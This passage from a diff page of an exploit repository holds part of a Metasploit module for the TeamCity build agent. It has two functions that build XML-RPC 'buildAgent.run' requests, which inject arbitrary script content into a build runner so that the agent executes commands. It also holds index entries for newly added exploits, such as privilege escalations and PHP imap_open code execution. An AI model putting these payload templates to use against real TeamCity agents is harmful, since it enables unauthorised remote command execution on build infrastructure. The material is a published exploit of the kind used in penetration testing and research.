end
|
||||
|
||||
def req_teamcity_6_5(script_content)
|
||||
build_id = Rex::Text.rand_text_numeric(8)
|
||||
xml_payload = %(
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<methodCall>
|
||||
<methodName>buildAgent.run</methodName>
|
||||
<params>
|
||||
<param>
|
||||
<value>
|
||||
<![CDATA[
|
||||
<AgentBuild>
|
||||
<myBuildId>#{build_id}</myBuildId>
|
||||
<myBuildTypeId>x</myBuildTypeId>
|
||||
<myPersonal>false</myPersonal>
|
||||
<myCheckoutType>ON_AGENT</myCheckoutType>
|
||||
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
|
||||
<myServerParameters class="tree-map">
|
||||
<no-comparator/>
|
||||
<entry>
|
||||
<string>system.build.number</string>
|
||||
<string>0</string>
|
||||
</entry>
|
||||
</myServerParameters>
|
||||
<myVcsRootOldRevisions class="tree-map">
|
||||
<no-comparator/>
|
||||
</myVcsRootOldRevisions>
|
||||
<myVcsRootCurrentRevisions class="tree-map">
|
||||
<no-comparator/>
|
||||
</myVcsRootCurrentRevisions>
|
||||
<myAccessCode/>
|
||||
<myArtifactDependencies/>
|
||||
<myBuildTypeOptions/>
|
||||
<myPersonalVcsChanges/>
|
||||
<myUserBuildParameters/>
|
||||
<myVcsChanges/>
|
||||
<myVcsRootEntries/>
|
||||
<myBuildRunners>
|
||||
<jetbrains.buildServer.agentServer.BuildRunnerData>
|
||||
<myRunType>simpleRunner</myRunType>
|
||||
<myRunnerName>x</myRunnerName>
|
||||
<myRunnerParameters class="tree-map">
|
||||
<no-comparator/>
|
||||
<entry>
|
||||
<string>script.content</string>
|
||||
<string>#{script_content}</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>use.custom.script</string>
|
||||
<string>true</string>
|
||||
</entry>
|
||||
</myRunnerParameters>
|
||||
<myServerParameters class="tree-map">
|
||||
<no-comparator/>
|
||||
</myServerParameters>
|
||||
</jetbrains.buildServer.agentServer.BuildRunnerData>
|
||||
</myBuildRunners>
|
||||
</AgentBuild>
|
||||
]]>
|
||||
</value>
|
||||
</param>
|
||||
</params>
|
||||
</methodCall>
|
||||
)
|
||||
return xml_payload.strip!
|
||||
end
|
||||
|
||||
def req_teamcity_6(script_content)
|
||||
build_id = Rex::Text.rand_text_numeric(8)
|
||||
xml_payload = %(
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<methodCall>
|
||||
<methodName>buildAgent.run</methodName>
|
||||
<params>
|
||||
<param>
|
||||
<value>
|
||||
<![CDATA[
|
||||
<AgentBuild>
|
||||
<myBuildId>#{build_id}</myBuildId>
|
||||
<myBuildTypeId>x</myBuildTypeId>
|
||||
<myAccessCode></myAccessCode>
|
||||
<myPersonal>false</myPersonal>
|
||||
<myCheckoutType>ON_AGENT</myCheckoutType>
|
||||
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
|
||||
<myServerParameters class="tree-map">
|
||||
<no-comparator/>
|
||||
<entry>
|
||||
<string>system.build.number</string>
|
||||
<string>0</string>
|
||||
</entry>
|
||||
</myServerParameters>
|
||||
<myVcsRootOldRevisions class="tree-map">
|
||||
<no-comparator/>
|
||||
</myVcsRootOldRevisions>
|
||||
<myVcsRootCurrentRevisions class="tree-map">
|
||||
<no-comparator/>
|
||||
</myVcsRootCurrentRevisions>
|
||||
<myArtifactDependencies/>
|
||||
<myBuildTypeOptions/>
|
||||
<myPersonalVcsChanges/>
|
||||
<myUserBuildParameters/>
|
||||
<myVcsChanges/>
|
||||
<myVcsRootEntries/>
|
||||
<myBuildRunners>
|
||||
<jetbrains.buildServer.agentServer.BuildRunnerData>
|
||||
<myRunType>simpleRunner</myRunType>
|
||||
<myServerParameters class="tree-map">
|
||||
<no-comparator/>
|
||||
</myServerParameters>
|
||||
<myRunnerParameters class="tree-map">
|
||||
<no-comparator/>
|
||||
<entry>
|
||||
<string>script.content</string>
|
||||
<string>#{script_content}</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>use.custom.script</string>
|
||||
<string>true</string>
|
||||
</entry>
|
||||
</myRunnerParameters>
|
||||
</jetbrains.buildServer.agentServer.BuildRunnerData>
|
||||
</myBuildRunners>
|
||||
</AgentBuild>
|
||||
]]>
|
||||
</value>
|
||||
</param>
|
||||
</params>
|
||||
</methodCall>
|
||||
)
|
||||
return xml_payload.strip!
|
||||
end
|
||||
end
|
|
@ -6196,6 +6196,9 @@ id,file,description,date,author,type,platform,port
|
|||
45889,exploits/windows/dos/45889.js,"Microsoft Edge Chakra - OP_Memset Type Confusion",2018-11-19,"Google Security Research",dos,windows,
|
||||
45891,exploits/macos/dos/45891.c,"Apple macOS 10.13 - 'workq_kernreturn' Denial of Service (PoC)",2018-11-20,"Fabiano Anemone",dos,macos,
|
||||
45901,exploits/linux/dos/45901.txt,"MariaDB Client 10.1.26 - Denial of Service (PoC)",2018-11-26,strider,dos,linux,
|
||||
45910,exploits/multiple/dos/45910.js,"WebKit JSC JIT - 'JSPropertyNameEnumerator' Type Confusion",2018-11-29,"Google Security Research",dos,multiple,
|
||||
45911,exploits/multiple/dos/45911.js,"WebKit JIT - 'ByteCodeParser::handleIntrinsicCall' Type Confusion",2018-11-29,"Google Security Research",dos,multiple,
|
||||
45912,exploits/multiple/dos/45912.js,"WebKit JSC - BytecodeGenerator::hoistSloppyModeFunctionIfNecessary Does not Invalidate the 'ForInContext' Object",2018-11-29,"Google Security Research",dos,multiple,
|
||||
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
|
||||
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
|
||||
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
|
||||
|
@ -10119,6 +10122,9 @@ id,file,description,date,author,type,platform,port
|
|||
45893,exploits/windows/local/45893.txt,"Microsoft Windows - DfMarshal Unsafe Unmarshaling Privilege Escalation",2018-11-20,"Google Security Research",local,windows,
|
||||
45907,exploits/windows_x86/local/45907.txt,"Arm Whois 3.11 - Buffer Overflow (ASLR)",2018-11-26,zephyr,local,windows_x86,
|
||||
45908,exploits/multiple/local/45908.rb,"Xorg X11 Server - SUID privilege escalation (Metasploit)",2018-11-26,Metasploit,local,multiple,
|
||||
45913,exploits/linux/local/45913.rb,"Unitrends Enterprise Backup - bpserverd Privilege Escalation (Metasploit)",2018-11-29,Metasploit,local,linux,
|
||||
45915,exploits/linux/local/45915.rb,"Linux - Nested User Namespace idmap Limit Local Privilege Escalation (Metasploit)",2018-11-29,Metasploit,local,linux,
|
||||
45916,exploits/macos/local/45916.rb,"Mac OS X - libxpc MITM Privilege Escalation (Metasploit)",2018-11-29,Metasploit,local,macos,
|
||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||
|
@ -16970,6 +16976,8 @@ id,file,description,date,author,type,platform,port
|
|||
45851,exploits/java/remote/45851.rb,"Atlassian Jira - Authenticated Upload Code Execution (Metasploit)",2018-11-14,Metasploit,remote,java,2990
|
||||
45905,exploits/windows/remote/45905.py,"ELBA5 5.8.0 - Remote Code Execution",2018-11-26,"Florian Bogner",remote,windows,2640
|
||||
45909,exploits/hardware/remote/45909.rb,"Netgear Devices - Unauthenticated Remote Command Execution (Metasploit)",2018-11-27,Metasploit,remote,hardware,80
|
||||
45914,exploits/linux/remote/45914.rb,"PHP imap_open - Remote Code Execution (Metasploit)",2018-11-29,Metasploit,remote,linux,
|
||||
45917,exploits/multiple/remote/45917.rb,"TeamCity Agent - XML-RPC Command Execution (Metasploit)",2018-11-29,Metasploit,remote,multiple,
|
||||
6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
|
||||
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
|
||||
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
|
||||
|
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue